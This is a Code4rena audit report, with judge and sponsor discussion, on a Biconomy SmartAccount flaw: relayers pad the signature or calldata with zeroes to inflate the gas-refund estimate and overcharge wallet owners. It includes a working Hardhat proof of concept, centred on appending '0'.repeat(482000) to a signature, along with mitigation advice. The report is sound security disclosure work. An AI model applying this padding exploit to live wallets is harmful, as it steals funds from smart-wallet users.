Relayers can steal extra fees from smart contract wallets on every transaction

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L192-L219

Vulnerability details

Impact

Relayers can take signed transactions and append zeroes to the signature parameter to artificially increase the gas cost and startGas estimation. This causes additional cost for the signer and increases the relayers reimbursement. The cost/reimbursement increases linearly with gas price.

Proof of Concept

To calculate the refund payment SmartAccount uses a heuristic to estimate the startGas (startGas = gasleft() + 21000 + msg.data.length * 8;). Later it proceeds to subtract the remaining gas from this initial estimation. By appending zeroes to the signature parameter, thus increasing the msg.data.length, the heuristic will overestimate the startGas, which in turn increases the reimbursement.

Hardhat example

To see the impact of this manipulation add the following to test\smart-wallet\testGroup1.ts. I've chosen a relatively high gas price of 100 gwei and the most simple transaction of sending ether to show maximum impact of this finding. The loss scales linearly with gas price, but will typically be much less than shown here, because it assumes one transaction to fill an entire ethereum block. Though it should be feasible for relayers to submit such single transaction bundles to extract this value. On other blockchains with higher block size, the loss can also be increased.

it("accepts manipulated transaction data", async function () {
  const ownerSCW = userSCW;

  const safeTx: SafeTransaction = buildSafeTransaction({
    to: charlie,
    value: ethers.utils.parseEther("1"),
    nonce: await ownerSCW.getNonce(0),
  });

  const gasEstimate1 = await ethers.provider.estimateGas({
    to: charlie,
    value: ethers.utils.parseEther("1"),
    from: ownerSCW.address,
  });

  const chainId = await ownerSCW.getChainId();

  safeTx.refundReceiver = "0x0000000000000000000000000000000000000000";
  safeTx.gasToken = "0x0000000000000000000000000000000000000000";
  safeTx.gasPrice = 100000000000;
  safeTx.targetTxGas = gasEstimate1.toNumber();
  safeTx.baseGas = 21000 + 21000; // base

  console.log(`Gas estimate1 ${gasEstimate1.toNumber()}`);
  console.log(`Gas cost estimate1 ${ethers.utils.formatUnits(safeTx.gasPrice * (safeTx.targetTxGas + safeTx.baseGas),"ether")}`); // Gas cost estimate should be about 0.006 ETH

  let safeSignData;
  safeSignData = await safeSignTypedData(accounts[0], ownerSCW, safeTx, chainId);
  let signature = "0x" + safeSignData.data.slice(2);

  const transaction: Transaction = {
    to: safeTx.to,
    value: safeTx.value,
    data: safeTx.data,
    operation: safeTx.operation,
    targetTxGas: safeTx.targetTxGas,
  };
  const refundInfo: FeeRefund = {
    baseGas: safeTx.baseGas,
    gasPrice: safeTx.gasPrice,
    tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
    gasToken: safeTx.gasToken,
    refundReceiver: safeTx.refundReceiver,
  };

  let bobBalanceBefore = await ethers.provider.getBalance(bob);
  let scwBalanceBefore = await ethers.provider.getBalance(ownerSCW.address);
  // This is your usual unmodified transaction for comparison purpose
  await ownerSCW.connect(accounts[1]).execTransaction(
    transaction,
    0, // batchId
    refundInfo,
    signature,
    { gasPrice: safeTx.gasPrice }
  );

  let bobDiff = (await ethers.provider.getBalance(bob)).sub(bobBalanceBefore);
  let scwDiff = (await ethers.provider.getBalance(ownerSCW.address)).sub(scwBalanceBefore).add(ethers.utils.parseEther("1")); // Add the 1 ETH that was transfered
  console.log(`SCW payed ${ethers.utils.formatEther(scwDiff)} ETH`); // Paid 0.01 ETH
  console.log(`Bob gained ${ethers.utils.formatEther(bobDiff)} ETH`); // Got fully reimbursed (About 0.0004 ETH gain)

  safeTx.nonce = await ownerSCW.getNonce(1);
  safeSignData = await safeSignTypedData(accounts[0],ownerSCW,safeTx,chainId);
  signature = "0x" + safeSignData.data.slice(2);

  bobBalanceBefore = await ethers.provider.getBalance(bob);
  scwBalanceBefore = await ethers.provider.getBalance(ownerSCW.address);
  // This is the modified transaction
  await ownerSCW.connect(accounts[1]).execTransaction(
    transaction,
    1, // batchId
    refundInfo,
    signature + "0".repeat(482000), // !!! This is the critical part !!!
    { gasPrice: safeTx.gasPrice }
  );
  scwDiff = (await ethers.provider.getBalance(ownerSCW.address)).sub(scwBalanceBefore).add(ethers.utils.parseEther("1")); // Add the 1 ETH that was transfered
  bobDiff = (await ethers.provider.getBalance(bob)).sub(bobBalanceBefore);
  console.log(`SCW payed ${ethers.utils.formatEther(scwDiff)} ETH`); // Paid a total of 0.2 ETH, 20 times the usual amount!
  console.log(`Bob gained ${ethers.utils.formatEther(bobDiff)} ETH`); // Got reimbursed and even takes a profit of 0.067 ETH
});

The signer pays 20 times the amount he signed for, while the relayer takes a small, but not insignificant profit!

Tools Used

VS code, hardhat

Recommended Mitigation Steps

Check the signature length at the beginning of execTransaction.
E.g.

require(signatures.length == 65, "Invalid signature length");

[c4-judge]

gzeon-c4 marked the issue as primary issue

[c4-judge]

gzeon-c4 marked the issue as duplicate of #535

[c4-judge]

gzeon-c4 marked the issue as not a duplicate

[c4-judge]

gzeon-c4 marked the issue as duplicate of #489

[c4-sponsor]

livingrockrises marked the issue as disagree with severity

[livingrockrises]

gas price is signed by the owner of smart account and is capped by tx.gasPrice in case of ether payment. I agree if startGas can be manipulated this end up being more gas refund to the relayer.

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[livingrockrises]

signature + "0".repeat(482000)

^ when i make this change in the test case, I am getting below

Error: overflow [ See: https://links.ethers.org/v5-errors-NUMERIC_FAULT-overflow ] (fault="overflow", operation="toNumber", value="40724240000000000", code=NUMERIC_FAULT, version=bignumber/5.7.0)

[livingrockrises]

probably because it exceeds block gas limit

[c4-judge]

gzeon-c4 marked the issue as satisfactory

[Barichek]

Hey @gzeon-c4 @livingrockrises!

This is a good finding.

However, it is not complete. As mentioned in issue #489 user funds can be stolen by adding any number of zero bytes to the msg.data, while this report states that only the signature elongation leads to the attack. The mitigation step does not solve the issue though.

[livingrockrises]

need to remove dependency on msg.data.length all together

[gzeon-c4]

Hey @gzeon-c4 @livingrockrises!

This is a good finding.

However, it is not complete. As mentioned in issue #489 user funds can be stolen by adding any number of zero bytes to the msg.data, while this report states that only the signature elongation leads to the attack. The mitigation step does not solve the issue though.

True, that's why I have the other issue as primary. The attack can be even more efficient by padding in an internal call so you don't even need to pay for the top level calldata cost.